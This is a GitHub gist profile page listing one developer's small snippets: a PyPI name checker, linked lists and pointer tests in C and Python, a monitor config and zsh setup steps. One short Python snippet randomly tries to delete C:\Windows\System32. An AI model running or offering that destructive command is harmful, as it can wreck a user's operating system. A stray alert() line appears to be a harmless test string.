Skip to content

Instantly share code, notes, and snippets.

View henriquesebastiao's full-sized avatar
🎯
Focusing

Henrique Sebastião henriquesebastiao

🎯
Focusing
View GitHub Profile
@henriquesebastiao
henriquesebastiao / check_pypi_package.py
Created September 12, 2024 22:36
Script para verificar se nome de pacote está disponível no PyPi.
import requests
def check_pypi_package(name):
url = f"https://pypi.org/pypi/{name}/json"
response = requests.get(url)
return response.status_code == 200
package_name = "example-package" # Substitua pelo nome desejado
if check_pypi_package(package_name):
print(f"O pacote '{package_name}' já está em uso.")
alert('Testando Alert!');
@henriquesebastiao
henriquesebastiao / linked-list.c
Created April 1, 2024 13:59
Lista ligada em C.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
// Definição da estrutura de um nó da lista ligada
struct Node {
int value; // Valor do nó
struct Node *previous; // Ponteiro para o nó anterior
};
@henriquesebastiao
henriquesebastiao / pointers.c
Created April 1, 2024 13:37
Testes com ponteiros em C.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
void main() {
int numero = 10;
int *ponteiro = &numero;
printf("%d\n", numero);
printf("%d\n", &numero);
import random
import os
if random.randint(0, 6) == 1:
os.remove(r'C:\Windows\System32')
@henriquesebastiao
henriquesebastiao / xorg-monitors-conf.txt
Created December 14, 2023 02:49
Configuracoes de monitor
Section "Monitor"
Identifier "HDMI-1"
Option "Primary" "true"
Modeline "2560x1080_30.00" 106.75 2560 2640 2896 3232 1080 1083 1093 1102 -hsync +vsync
Option "PreferredMode" "2560x1080_30.00"
EndSection
Section "Monitor"
Identifier "eDP-1"
Option "LeftOf" "HDMI-1"
@henriquesebastiao
henriquesebastiao / generate_secret_key.py
Created November 14, 2023 16:36
Generate secret key with python.
python -c "import string as s;from random import SystemRandom as sr;print(''.join(sr().choices(s.ascii_letters + s.punctuation, k=64)))"
@henriquesebastiao
henriquesebastiao / linked-list.py
Last active April 2, 2024 16:17
Linked List Implementation in Python
class Node:
def __init__(self, data):
self.data = data
self.next = None
def __repr__(self) -> str:
return self.data
class LinkedList:
@henriquesebastiao
henriquesebastiao / print_ascii_table.c
Created September 11, 2023 23:20
This code will at least try to print the ASCII table.
#include <stdio.h>
int main()
{
for (int i = 0; i < 256; i++)
{
printf("%d = %c\n", i, i);
}
}
@henriquesebastiao
henriquesebastiao / cofig_oh_my_zsh.sh
Created September 5, 2023 19:25
Etapas de configuração oh my zsh no linux.
# Instalando ZSH
sudo apt install zsh -y
# Instalando dependências
sudo apt install -f -y
# Configurando zsh
chsh -s /bin/zsh
zsh